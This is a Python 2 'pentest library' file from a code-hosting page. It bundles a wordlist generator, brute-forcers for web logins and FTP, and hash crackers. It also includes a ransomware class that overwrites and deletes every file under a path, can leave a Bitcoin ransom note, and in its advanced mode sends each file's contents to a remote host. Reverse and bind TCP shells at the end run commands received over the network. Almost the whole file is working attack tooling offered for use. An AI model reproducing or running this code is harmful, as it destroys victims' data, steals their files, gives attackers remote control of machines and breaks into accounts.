-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPentesting.py
More file actions
404 lines (385 loc) · 11.8 KB
/
Pentesting.py
File metadata and controls
404 lines (385 loc) · 11.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
""" Easy pentest lib """
# Wordlist generator
# Bruteforce sample sites and ftp servers
# Advanced hash cracking
# Ransomware creating
"""
@Author : Daniel Victor Freire Feitosa
@Version : 2.0.0
<danielfreire56@hotmail.com>
Lib focada em facilitar o desenvolvimento de programas com foco em pentesting e seguranca ofensiva
construida no Windows 10 pro, otimizacoes sao bem vistas e de grande valia.
# Futures Modules And Updates
[Module Batsploit] - v2.1.5
[Module Metasploit] - v2.5.0
[Exceptions add] - v2.9.0
"""
# IO Classes
class wordlist():
def __init__(self, wd_name, wd_min_length, wd_max_length, wd_chars):
self.wd_name = wd_name
self.wd_min_length = wd_min_length
self.wd_max_length = wd_max_length
self.wd_chars = wd_chars
def create(self):
from itertools import product
file = open(self.wd_name, "w")
for i in xrange(self.wd_min_length, self.wd_max_length+1):
for xs in product(self.wd_chars, repeat=i):
string=''.join(xs)
file.write(string+"\n")
file.close()
return 0
class bruteforce():
def __init__(self, uname, wordlist):
self.uname = uname
self.wordlist = wordlist
def web(self, url, login_param, pwd_param, fail_msg):
try:
from requests import post
except ImportError:
from os import system
system("pip install requests")
from requests import post
from sys import exit
wd_file = open(self.wordlist, "r")
for i in wd_file:
pwd = i.strip()
data = {self.login_param : self.uname, self.pwd_param : pwd}
r=post(self.url, data=data)
if self.fail_msg in r.content:
print "[ATTEMP] %s:%s"%(self.uname, pwd)
else:
print "\n[BRUTEFORCE SUCCESS] %s:%s\n"%(self.uname, pwd)
return 0
exit()
wd_file.close()
return 1
def ftp(self, host, port):
from socket import socket, AF_INET, SOCK_STREAM, error
from sys import exit
file = open(self.wordlist, "r")
for line in file:
pwd = line.strip()
try:
s=socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.recv(1024)
s.send("USER "+self.uname+"\r\n")
s.recv(1024)
s.send("PASS "+pwd+"\r\n")
response = s.recv(1024)
s.send("QUIT\r\n\r\n")
if "230" in response:
print "\n[BRUTEFORCE SUCCESS] %s:%s\n"%(self.uname, pwd)
return 0
exit()
else:
print "[ATTEMP] %s:%s"%(self.uname, pwd)
s.close()
except error:
return 1
exit()
return 1
class hashcrack():
def __init__(self, raw_hash, type_hash, min_length=0, max_length=0, chars=None, wordlist=None, wordlists=None):
self.raw_hash = raw_hash
self.min_length = min_length
self.max_length = max_length
self.type_hash = type_hash
self.chars = chars
self.wordlist = wordlist
self.wordlists = wordlists
def cartesian_crack(self):
from itertools import product
from sys import exit
if self.type_hash == "md5":
from hashlib import md5
elif self.type_hash == "sha1":
from hashlib import sha1
elif self.type_hash == "sha512":
from hashlib import sha512
elif self.type_hash == "sha224":
from hashlib import sha224
elif self.type_hash == "sha256":
from hashlib import sha256
elif self.type_hash == "sha384":
from hashlib import sha384
for n in xrange(self.min_length, self.max_length+1):
for xs in product(self.chars, repeat=n):
string=''.join(xs)
if self.type_hash == "md5":
hashed_string = md5(string).hexdigest()
elif self.type_hash == "sha1":
hashed_string = sha1(string).hexdigest()
elif self.type_hash == "sha512":
hashed_string = sha512(string).hexdigest()
elif self.type_hash == "sha224":
hashed_string = sha224(string).hexdigest()
elif self.type_hash == "sha256":
hashed_string = sha256(string).hexdigest()
elif self.type_hash == "sha384":
hashed_string = sha384(string).hexdigest()
if self.raw_hash == hashed_string:
print "\n[CRACKED HASH] %s:%s\n"%(hashed_string, string)
return 0
exit()
else:
print "[ATTEMP] %s:%s"%(self.raw_hash, string)
return 1
def wordlist_crack(self):
from sys import exit
if self.type_hash == "md5":
from hashlib import md5
elif self.type_hash == "sha1":
from hashlib import sha1
elif self.type_hash == "sha512":
from hashlib import sha512
elif self.type_hash == "sha224":
from hashlib import sha224
elif self.type_hash == "sha256":
from hashlib import sha256
elif self.type_hash == "sha384":
from hashlib import sha384
file_list = open(self.wordlist, "r")
for i in file_list:
string = i.strip()
if self.type_hash == "md5":
hashed_string = md5(string).hexdigest()
elif self.type_hash == "sha1":
hashed_string = sha1(string).hexdigest()
elif self.type_hash == "sha512":
hashed_string = sha512(string).hexdigest()
elif self.type_hash == "sha224":
hashed_string = sha224(string).hexdigest()
elif self.type_hash == "sha256":
hashed_string = sha256(string).hexdigest()
elif self.type_hash == "sha384":
hashed_string = sha384(string).hexdigest()
if self.raw_hash == hashed_string:
print "\n[CRACKED HASH] %s:%s\n"%(hashed_string, string)
return 0
exit()
else:
print "[ATTEMP] %s:%s"%(self.raw_hash, string)
return 1
def wordlist_cartesian_crack(self):
from threading import Thread as thread
crack = hashcrack(self.raw_hash, self.type_hash, self.min_length, self.max_length, self.chars, self.wordlist)
thread(target=crack.cartesian_crack()).start()
thread(target=crack.wordlist_crack()).start()
def multiple_wordlits_cartesian_crack(self):
from threading import Thread as thread
crack = hashcrack(self.raw_hash, self.type_hash, self.min_length, self.max_length, self.chars)
for wd in self.wordlists:
thread(target=hashcrack(self.raw_hash, self.type_hash, 0, 0, None, wd).wordlist_crack()).start()
thread(target=crack.cartesian_crack()).start()
class ransomware():
def __init__(self, path, msg, host=None, port=0, btc_wallet=None):
self.path = path
self.msg = msg
self.host = host
self.port = port
self.btc_wallet = btc_wallet
def simple(self):
from os import walk, remove
from platform import system
from hashlib import sha512
for paths,dirs,files in walk(self.path):
for file in files:
if system() == "Windows":
flag = paths+"\\"+file
else:
flag = paths+"/"+file
print "Encrypt : %s"%(flag)
handle = open(flag, "rb")
try:
read = handle.read()
except MemoryError:
read = "Out of memory - @hacked by ProXy"
if self.btc_wallet == None:
encrypt = "%s (4098 bits) : %s"%(self.msg, sha512(read).hexdigest())
else:
encrypt = "%s (4098 bits) : %s\n\nBTC Wallet : %s\n"%(self.msg, sha512(read).hexdigest(), self.btc_wallet)
new_file_name = flag.split(".")[0]+".encrypted"
try:
encrypt_handle = open(new_file_name, "wb")
encrypt_handle.write(encrypt)
except IOError:
print "Error to write new files in %s"%(new_file_name)
exit()
encrypt_handle.close()
handle.close()
remove(flag)
def send_files(self, path, read):
from platform import system
from socket import socket, AF_INET, SOCK_STREAM
if system() == "Windows":
only_name = "decrypted-"+path.split("\\")[len(path.split("\\")) - 1] # name of file
else:
only_name = "decrypted-"+path.split("/")[len(path.split("/")) - 1] # name of file
# creating socket and sending files
try:
s=socket(AF_INET, SOCK_STREAM)
s.connect((self.host, self.port))
s.send(only_name)
data = s.recv(1024)
s.send(read)
data = s.recv(1024)
# close all handles and sockets
s.close()
except error:
return 1
def advanced(self):
from os import walk, remove
from platform import system
from hashlib import sha512
for paths,dirs,files in walk(self.path):
for file in files:
if system() == "Windows":
flag = paths+"\\"+file
else:
flag = paths+"/"+file
print "Encrypt : %s"%(flag)
handle = open(flag, "rb")
try:
read = handle.read()
except MemoryError:
read = "Out of memory - @hacked by ProXy"
ransomware(0, self.msg, self.host, self.port).send_files(flag, read)
if self.btc_wallet == None:
encrypt = "%s (4098 bits) : %s"%(self.msg, sha512(read).hexdigest())
else:
encrypt = "%s (4098 bits) : %s\n\nBTC Wallet : %s\n"%(self.msg, sha512(read).hexdigest(), self.btc_wallet)
new_file_name = flag.split(".")[0]+".encrypted"
try:
encrypt_handle = open(new_file_name, "wb")
encrypt_handle.write(encrypt)
except IOError:
print "Error to write new files in %s"%(new_file_name)
exit()
encrypt_handle.close()
handle.close()
remove(flag)
def listen_files(self, listen_connections=1, path_to_save=None):
from socket import socket, AF_INET, SOCK_STREAM, error
try:
s = socket(AF_INET, SOCK_STREAM)
s.bind((self.host, self.port))
s.listen(listen_connections)
print "Listening files addr %s:%i\n"%(self.host, self.port)
while 1:
sock, addr = s.accept()
data = sock.recv(1024)
if not data: break
if "decrypted-" in data:
if path_to_save == None:
print "File recevied %s:%i / Saved %s"%(addr[0], addr[1], data)
else:
print "File recevied %s:%i / Saved %s"%(addr[0], addr[1], path_to_save+"/"+data)
sock.send(data)
if path_to_save == None:
file = open(data, "wb")
else:
file = open(path_to_save+"/"+data, "wb")
file.write(sock.recv(1024))
file.close()
sock.send(data)
sock.close()
s.close()
except error:
return 1
# End IO Classes
# Exploitations Classes
class payload():
def __init__(self, host="0.0.0.0", port=4444):
self.host = host
self.port = port
def reverse_tcp(self):
from socket import socket, AF_INET, SOCK_STREAM, error
from sys import exit
from os import popen
try:
s=socket(AF_INET, SOCK_STREAM)
s.connect((self.host, self.port))
except error:
return 1
exit()
try:
while True:
cmd_recv = s.recv(1024) # 1mb
cmd_out = popen(cmd_recv).read()
s.send(cmd_out)
return 0
except KeyboardInterrupt:
return 1
exit()
def bind_tcp(self, num_of_connections=1):
from socket import socket, AF_INET, SOCK_STREAM, error
from sys import exit
from os import popen
try:
s=socket(AF_INET, SOCK_STREAM)
s.bind((self.host, self.port))
s.listen(num_of_connections)
except error:
return 1
exit()
try:
while True:
sock, addr = s.accept()
while True:
data = sock.recv(1024) # 1mb
cmd_out = popen(data).read()
if len(cmd_out) == 0:
cmd_out = "Executed\n"
sock.send(cmd_out)
except KeyboardInterrupt:
return 1
exit()
def bind_connect(self):
from socket import socket, AF_INET, SOCK_STREAM, error
from sys import exit
try:
s=socket(AF_INET, SOCK_STREAM)
s.connect((self.host, self.port))
except error:
return 1
exit()
try:
while True:
cmd_input = raw_input("%s@%i:~$ "%(self.host, self.port))
if cmd_input == "cls" or len(cmd_input) == 0:
cmd_input = "echo Executed"
s.send(cmd_input)
data = s.recv(4096) # 4mb
print data
except KeyboardInterrupt:
return 1
exit()
def handle(self):
from socket import socket, AF_INET, SOCK_STREAM, error
from sys import exit
try:
s=socket(AF_INET, SOCK_STREAM)
s.bind((self.host, self.port))
s.listen(1)
except error:
return 1
exit()
try:
while True:
sock, addr = s.accept()
while True:
cmd = raw_input("%s@%i:~$ "%(addr[0], addr[1]))
if cmd == "cls" or len(cmd) == 0:
cmd = "echo 1"
sock.send(cmd)
else:
sock.send(cmd)
data = sock.recv(4096) # 4mb
print data
except KeyboardInterrupt:
return 1
exit()
return 0